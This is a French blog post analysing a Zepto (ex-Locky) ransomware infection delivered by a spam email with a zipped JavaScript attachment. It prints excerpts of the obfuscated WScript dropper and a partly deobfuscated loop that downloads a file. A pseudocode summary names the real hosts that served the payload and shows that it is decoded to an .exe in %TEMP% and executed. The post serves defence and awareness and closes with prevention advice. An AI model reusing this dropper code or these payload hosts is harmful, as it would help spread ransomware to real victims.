Analyse d'une infection javascript par le ransomware zepto (ex locky)

Analyse d'une infection javascript par le ransomware zepto (ex locky)

Hier, j'ai reçu un courriel suspect... Suspect, parce qu'il est marqué comme SPAM par OVH, que je ne connais pas l'expéditeur, que je n'attendais pas de lettre de confirmation, encore moins d'un anglophone, et qu'il contient une pièce jointe au format zip :

courriel-zepto

Le fichier zip a un ratio de détection virustotal assez moyen : 23/53. Il contient un fichier dont l'extension est "js" pour javascript nommé "data 2fcf143c-.js". Ce dernier obtient un ratio de détection similaire : 21/54. Voici une partie de son contenu :

wsh = WScript.CreateObject("WScript.Shell");
se = wsh.Environment("SYSTEM");
os = se("OS");
if (os != "Windows_NT") {WScript.Quit(0);}
WScript.Sleep(1); var aEx = (1, 2, 3, ['\x77\x73\x68\x20\x3d','\x20\x57\x53\x63\x72','\x69\x70\x74\x2e\x43','\x72\x65\x61\x74\x65','\x4f\x62\x6a\x65\x63','\x74\x28\x22\x57\x53','\x63\x72\x69\x70\x74','\x2e\x53\x68\x65\x6c','\x6c\x22\x29\x3b\x0a','\x73\x65\x20\x3d\x20','\x77\x73\x68\x2e\x45','\x6e\x76\x69\x72\x6f','\x6e\x6d\x65\x6e\x74','\x28\x22\x53\x59\x53','\x54\x45\x4d"\x29','\x3b\x0a\x6f\x73\x20','\x3d\x20\x73\x65\x28','\x22\x4f\x53\x22\x29','\x3b\x0a\x69\x66\x20','\x28\x6f\x73\x20\x21','\x3d\x20\x22\x57\x69','\x6e\x64\x6f\x77\x73','\x5f\x4e\x54\x22\x29','\x20\x7b\x57\x53\x63','\x72\x69\x70\x74\x2e','\x51\x75\x69\x74\x28','\x30\x29\x3b\x7d\x0a','\x76\x61\x72\x20\x4c','\x4d\x79\x39\x20\x3d','\x20\x22\x6f\x73\x65','\x22\x20\x2b\x20\x22','\x22\x3b\x0d\x0a\x76','\x61\x72\x20\x52\x79','\x20\x3d\x20\x22\x63','\x6c\x22\x20\x2b\x20','\x22\x22\x3b\x0d\x0a','\x76\x61\x72\x20\x4d','\x54\x76\x20\x3d\x20','\x22\x69\x6c\x65\x22','\x20\x2b\x20\x22\x22','\x3b\x0d\x0a\x76\x61','\x72\x20\x4a\x4a\x70','\x33\x20\x3d\x20\x22','\x65\x54\x6f\x46\x22','\x20+\x20\x22\x22',';\x0d\x0a\x76\x61','\x72\x20\x4a\x70\x35','\x20\x3d\x20\x22\x53','\x61\x76\x22\x20\x2b','\x20\x22\x22\x3b\x0d','\x0a\x66\x75\x6e\x63','\x74\x69\x6f\x6e\x20','\x41\x66\x28\x45\x4c','\x73\x30\x29\x7b\x72','\x65\x74\x75\x72\x6e','\x20\x45\x4c\x73',

[...]

'\x4e\x20\x20\x2a','\x2f\x2c\x20\x32\x29','\x3b\x0d\x0a\x0d\x0a','\x20\x20\x20\x20\x44','\x41\x62\x34\x5b\x50','\x47\x69\x35\x20\x2b','\x20\x48\x4a\x69\x5d','\x28\x29\x3b\x0d\x0a','\x7d\x3b']);
 eval(aEx.join(''));

Le code est donc dissimulé. Si l'on simule le "aEx.join('')" et que l'on remplace les "\x??" par leurs caractère ASCII, on obtient ce genre de choses :

wsh = WScript.CreateObject("WScript.Shell");
se = wsh.Environment("SYSTEM");
os = se("OS");
if (os != "Windows_NT") {WScript.Quit(0);}
var LMy9 = "ose" + "";
var Ry = "cl" + "";
var MTv = "ile" + "";
var JJp3 = "eToF" + "";
var Jp5 = "Sav" + "";
function Af(ELs0){return ELs0;};
function MZb(Hh1){return Hh1;};

[...]

var Yz=[AAd1 + Cg7 + (function Ba1(){return Ut;}()) + (function Hk7(){return WZw;}()) + (function SXn(){return KSx;}()) + He + Ny6, VGj1 + Pm0 + Lh(NKi)];

for (var IBx3=0; IBx3 < Yz[EAt7 + Bq]; IBx3++)
{
 try 
 {
 var AJf=WScript[HYu2 + QUd3(Ht0) + JBs8](Yz[IBx3]);
 break;
 }
 catch (e)
 {
 continue;
 }
};

var Lp9=1;
var Gr=0;
do
{
 try
 {
 if (1== Lp9)
 {
 if (Gr >= IDz0[EAt7 + (function Cg(){return Bq;}())])
 {
 Gr=0;
 WScript[Go7](2 * 500);
 }
 AJf[Jh + Nz3](Iv(MGd), IDz0[Gr++ % IDz0[EAt7 + Bq]], false);
 AJf[(function Co(){return Dg;}()) + Fn]();
 }
[...]
} while (Lp9);

WScript.Quit(0);

function Kx1 /* N */(Lj4)
{
[...]
};
[...]

Une nouvelle fois, le code est dissimulé. Avec un peu de travail on finit par obtenir le pseudo code (très simplifié) suivant :

Télécharger http://silverjinoz.net/49x2nv ou http://210.240.104.2/8wldse8 ou http:/otwayorchard.net/ydumpjt5
Enregistrer le fichier dans %TEMP%/QNUnOOHWq
Lire le fichier %TEMP%/QNUnOOHWq
Décoder le fichier %TEMP%/QNUnOOHWq
Enregistrer le resultat dans %TEMP%/QNUnOOHWq.exe
Exécuter le fichier %TEMP%/QNUnOOHWq.exe avec le paramètre "323"

On peut noter que le fichier "QNUnOOHWq" obtient un ratio de détection de 4/53 et que le fichier "QNUnOOHWq.exe" obtient, quant à lui, un ratio de détection de 29/53.

Lorsqu'il est exécuté, le ransomware commence à chiffrer les fichiers en fonction de leur extension, les renomme et change l'extension en "zepto". On obtient des noms qui commencent tous par l'identifiant unique "4D52B197-2A12-A30E" :

4D52B197-2A12-A30E-02EF-009C32C16841.zepto
4D52B197-2A12-A30E-15D0-458CC59B47D4.zepto
4D52B197-2A12-A30E-99E4-44BEC0FC555D.zepto
4D52B197-2A12-A30E-557A-D9F7B26EB9C3.zepto

Lorsqu'il a terminé de chiffrer les fichiers, il affiche comment payer pour récupérer ses fichiers. Pour cela, il change l'écran de fond de windows et il ouvre les fichiers "_HELP_instructions.bmp" et "_HELP_instructions.html" :

help-instructionhelp-instruction-html

En suivant le lien fourni dans le fichier html, on arrive sur la page suivante, intitulée "Locky Decryptor Page" :

onion

Il demande 2 BTC soit un peu plus de 1000 € au cours actuel. Comme d'habitude je recommande de ne pas payer. Vous n'avez aucune garantie que cela permettra de déchiffrer les fichiers.

Une vidéo de l'infection :

À ce jour, il n'existe pas de solution pour déchiffrer les fichiers d'une machine infectée par zepto.

Ainsi, selon moi, la solution à ce genre de problématique se situe plutôt au niveau de la prévention.

Il s'agit, d'une part, de former les utilisateurs à reconnaître les courriels suspects et ne pas les ouvrir et d'autre part, d'avoir mis en place une solution de sauvegardes déportées, hors ligne et régulièrement vérifier qu'elles fonctionnent comme attendu.